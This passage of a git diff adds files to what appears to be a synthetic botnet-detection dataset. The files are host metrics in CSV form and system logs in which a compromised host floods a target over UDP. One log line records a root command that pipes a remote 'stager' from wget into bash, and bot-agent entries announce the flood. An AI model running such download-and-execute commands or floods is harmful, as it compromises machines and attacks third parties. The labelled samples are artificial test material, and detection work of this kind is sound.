SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=52352 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=51505 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58187 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62611 DPT=80 +Aug 16 14:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28540 DPT=80 +Aug 16 14:06:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=40686 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=42960 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26656 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=62075 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28255 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=43131 DPT=80 +Aug 16 14:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=13040 DPT=80 +Aug 16 14:06:05 CRON[1973]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59884 DPT=80 +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11410 DPT=80 +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=24998 DPT=80 +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26575 DPT=80 +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=61981 DPT=80 +Aug 16 14:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=56011 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28262 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=35441 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=57989 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=16881 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=38582 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44223 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=28709 DPT=80 +Aug 16 14:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=32649 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=44416 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=49850 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11948 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54437 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=34480 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=11250 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=26311 DPT=80 +Aug 16 14:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=40262 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=18961 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=53283 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54685 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=59869 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=31877 DPT=80 +Aug 16 14:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=54963 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=23779 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=19729 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39772 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=16755 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=25793 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=30840 DPT=80 +Aug 16 14:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=17088 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=64687 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=39207 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=12780 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=41638 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=63021 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=58807 DPT=80 +Aug 16 14:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=203.0.113.74 PROTO=UDP SPT=48179 DPT=80 +Aug 16 14:06:35 bot-agent[23499]: Flood finished. Cleaning up child processes. +Aug 16 14:06:40 systemd[1]: Starting Clean php session files... +Aug 16 14:07:05 CRON[1985]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_7.csv b/mali_dataset/scenario_2/mali_2_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..c62b86be628377b259c8e9222f14c2f725fed859 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T16:00:00Z,17.84,49.04,23.21,1.22,1.8 +2025-08-16T16:00:05Z,15.3,45.97,29.4,1.84,2.3 +2025-08-16T16:00:10Z,15.98,43.57,21.14,1.07,2.96 +2025-08-16T16:00:15Z,11.46,42.42,34.1,1.4,2.39 +2025-08-16T16:00:20Z,14.16,43.66,27.29,1.35,2.89 +2025-08-16T16:00:25Z,11.46,40.41,21.07,1.01,2.85 +2025-08-16T16:00:30Z,16.7,45.51,30.79,1.66,2.26 +2025-08-16T16:00:35Z,11.03,47.45,26.37,1.63,2.85 +2025-08-16T16:00:40Z,8.38,40.69,24.17,1.46,2.99 +2025-08-16T16:00:45Z,13.79,44.81,29.63,1.13,2.93 +2025-08-16T16:00:50Z,8.82,47.11,21.27,1.16,1.89 +2025-08-16T16:00:55Z,13.4,42.89,31.94,1.67,2.4 +2025-08-16T16:01:00Z,14.92,49.13,20.88,1.6,1.58 +2025-08-16T16:01:05Z,11.27,47.27,20.55,1.28,2.97 +2025-08-16T16:01:10Z,8.23,43.25,25.96,1.04,1.57 +2025-08-16T16:01:15Z,16.12,41.14,29.5,1.76,2.6 +2025-08-16T16:01:20Z,8.47,40.96,20.88,1.3,2.89 +2025-08-16T16:01:25Z,14.23,40.55,31.81,1.63,2.63 +2025-08-16T16:01:30Z,9.9,45.42,23.78,1.68,2.33 +2025-08-16T16:01:35Z,16.7,43.9,25.41,1.82,2.07 +2025-08-16T16:01:40Z,16.65,42.68,21.41,1.28,1.63 +2025-08-16T16:01:45Z,8.44,47.7,22.94,1.95,2.02 +2025-08-16T16:01:50Z,9.21,46.17,34.31,1.76,2.77 +2025-08-16T16:01:55Z,9.24,40.31,24.64,1.83,1.67 +2025-08-16T16:02:00Z,17.2,42.49,25.89,1.11,2.59 +2025-08-16T16:02:05Z,14.28,40.1,34.39,1.55,2.74 +2025-08-16T16:02:10Z,17.56,45.12,29.36,1.06,2.09 +2025-08-16T16:02:15Z,9.12,40.69,31.8,1.34,2.62 +2025-08-16T16:02:20Z,11.86,46.37,29.44,1.96,2.69 +2025-08-16T16:02:25Z,9.7,48.61,33.04,1.87,1.6 +2025-08-16T16:02:30Z,99.11,59.46,5.87,0.31,995.34 +2025-08-16T16:02:35Z,96.91,56.13,3.98,0.28,1112.56 +2025-08-16T16:02:40Z,98.61,52.51,5.41,0.26,926.63 +2025-08-16T16:02:45Z,98.24,58.3,4.52,0.54,917.14 +2025-08-16T16:02:50Z,96.7,59.99,4.8,0.43,958.32 +2025-08-16T16:02:55Z,97.48,50.52,2.35,0.27,1015.38 +2025-08-16T16:03:00Z,98.57,58.8,5.15,0.54,1054.56 +2025-08-16T16:03:05Z,99.59,57.95,4.82,0.31,1039.56 +2025-08-16T16:03:10Z,99.31,52.06,4.41,0.36,964.57 +2025-08-16T16:03:15Z,97.95,54.08,2.41,0.45,935.82 +2025-08-16T16:03:20Z,97.12,55.33,4.36,0.48,965.22 +2025-08-16T16:03:25Z,96.05,56.36,2.58,0.45,920.45 +2025-08-16T16:03:30Z,98.8,57.26,4.77,0.57,1125.17 +2025-08-16T16:03:35Z,97.69,56.97,4.9,0.31,1128.95 +2025-08-16T16:03:40Z,97.94,53.09,5.91,0.56,1027.69 +2025-08-16T16:03:45Z,97.38,59.3,2.08,0.37,1160.2 +2025-08-16T16:03:50Z,99.01,54.05,3.13,0.26,1194.39 +2025-08-16T16:03:55Z,96.75,54.11,2.88,0.59,1028.88 +2025-08-16T16:04:00Z,96.09,58.18,2.08,0.5,1080.44 +2025-08-16T16:04:05Z,99.35,53.5,4.35,0.35,960.33 +2025-08-16T16:04:10Z,99.19,51.82,5.7,0.4,992.1 +2025-08-16T16:04:15Z,98.23,56.83,5.84,0.35,1122.93 +2025-08-16T16:04:20Z,98.85,59.01,3.9,0.32,1039.12 +2025-08-16T16:04:25Z,97.53,57.84,4.5,0.47,1116.61 +2025-08-16T16:04:30Z,96.64,59.79,3.1,0.58,1151.83 +2025-08-16T16:04:35Z,99.96,59.35,4.6,0.54,993.16 +2025-08-16T16:04:40Z,96.94,51.95,3.21,0.24,1118.59 +2025-08-16T16:04:45Z,96.95,53.2,5.79,0.51,1177.46 +2025-08-16T16:04:50Z,96.73,58.09,5.06,0.43,1039.73 +2025-08-16T16:04:55Z,98.54,57.81,3.31,0.46,1053.78 +2025-08-16T16:05:00Z,98.3,52.57,4.25,0.56,1027.02 +2025-08-16T16:05:05Z,97.17,57.1,3.15,0.58,1008.9 +2025-08-16T16:05:10Z,96.32,57.37,4.37,0.45,942.05 +2025-08-16T16:05:15Z,96.8,53.91,4.36,0.51,1113.81 +2025-08-16T16:05:20Z,98.54,54.8,5.82,0.32,1065.95 +2025-08-16T16:05:25Z,97.52,55.7,5.33,0.34,1174.97 +2025-08-16T16:05:30Z,96.19,59.91,3.82,0.21,901.92 +2025-08-16T16:05:35Z,98.78,51.36,4.53,0.54,1094.13 +2025-08-16T16:05:40Z,97.57,51.31,5.27,0.26,1111.04 +2025-08-16T16:05:45Z,99.63,50.34,4.52,0.2,1059.59 +2025-08-16T16:05:50Z,98.52,57.59,2.39,0.38,1120.89 +2025-08-16T16:05:55Z,97.04,59.18,3.45,0.43,1188.3 +2025-08-16T16:06:00Z,96.03,51.21,3.81,0.58,1169.48 +2025-08-16T16:06:05Z,97.66,55.45,4.23,0.28,927.65 +2025-08-16T16:06:10Z,97.63,50.98,5.99,0.57,1008.4 +2025-08-16T16:06:15Z,96.73,58.32,4.71,0.24,1193.06 +2025-08-16T16:06:20Z,99.62,52.81,4.15,0.34,1127.44 +2025-08-16T16:06:25Z,96.66,56.74,5.65,0.41,1051.52 +2025-08-16T16:06:30Z,98.8,59.74,4.91,0.5,1091.82 +2025-08-16T16:06:35Z,96.65,53.34,3.13,0.21,1123.02 +2025-08-16T16:06:40Z,96.4,57.78,5.07,0.33,1072.3 +2025-08-16T16:06:45Z,98.48,52.99,3.86,0.51,1194.47 +2025-08-16T16:06:50Z,16.06,46.4,22.81,1.33,1.84 +2025-08-16T16:06:55Z,16.0,50.66,28.23,1.46,2.26 +2025-08-16T16:07:00Z,12.99,47.48,29.21,1.06,2.59 +2025-08-16T16:07:05Z,17.91,46.6,29.76,1.06,2.27 +2025-08-16T16:07:10Z,12.99,50.4,29.33,1.41,1.88 +2025-08-16T16:07:15Z,15.98,44.19,28.24,1.07,2.95 +2025-08-16T16:07:20Z,16.04,45.93,33.98,1.08,2.22 +2025-08-16T16:07:25Z,10.49,50.39,26.89,1.29,2.56 diff --git a/mali_dataset/scenario_2/mali_2_7.log b/mali_dataset/scenario_2/mali_2_7.log new file mode 100644 index 0000000000000000000000000000000000000000..3d025874955056cb4e0e360601d8bf2547ee3d91 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_7.log @@ -0,0 +1,367 @@ +Aug 16 16:00:00 systemd[1]: Starting Clean php session files... +Aug 16 16:00:05 CRON[1901]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:00:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 16:01:05 CRON[1913]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:01:40 systemd[1]: Starting Clean php session files... +Aug 16 16:02:05 CRON[1925]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:02:30 bash[23456]: (root) CMD (wget -q -O - http://192.168.50.10/stager | bash) +Aug 16 16:02:32 bot-agent[23499]: Executing UDP flood against 198.51.100.112:80 +Aug 16 16:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=65167 DPT=80 +Aug 16 16:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34289 DPT=80 +Aug 16 16:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=10369 DPT=80 +Aug 16 16:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=41979 DPT=80 +Aug 16 16:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49739 DPT=80 +Aug 16 16:02:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59044 DPT=80 +Aug 16 16:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45316 DPT=80 +Aug 16 16:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20720 DPT=80 +Aug 16 16:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=36155 DPT=80 +Aug 16 16:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63631 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35060 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56935 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46149 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19796 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35942 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50841 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32985 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=39876 DPT=80 +Aug 16 16:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55882 DPT=80 +Aug 16 16:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53429 DPT=80 +Aug 16 16:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63760 DPT=80 +Aug 16 16:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51036 DPT=80 +Aug 16 16:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33440 DPT=80 +Aug 16 16:02:55 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49702 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51221 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35821 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55535 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14879 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28606 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21317 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26510 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16734 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49583 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58228 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53068 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50345 DPT=80 +Aug 16 16:03:05 CRON[1937]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58191 DPT=80 +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16969 DPT=80 +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=62757 DPT=80 +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=47166 DPT=80 +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=38621 DPT=80 +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48794 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58691 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52695 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12123 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=23720 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54907 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=44923 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28659 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27205 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59448 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45241 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52916 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18227 DPT=80 +Aug 16 16:03:20 systemd[1]: Starting Clean php session files... +Aug 16 16:03:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22773 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55520 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=43307 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18814 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57657 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=47218 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22864 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=41253 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=36406 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24607 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27721 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60579 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=36642 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14275 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=39470 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63264 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25364 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=47123 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=38227 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50424 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58057 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=31931 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32682 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13497 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26210 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60511 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 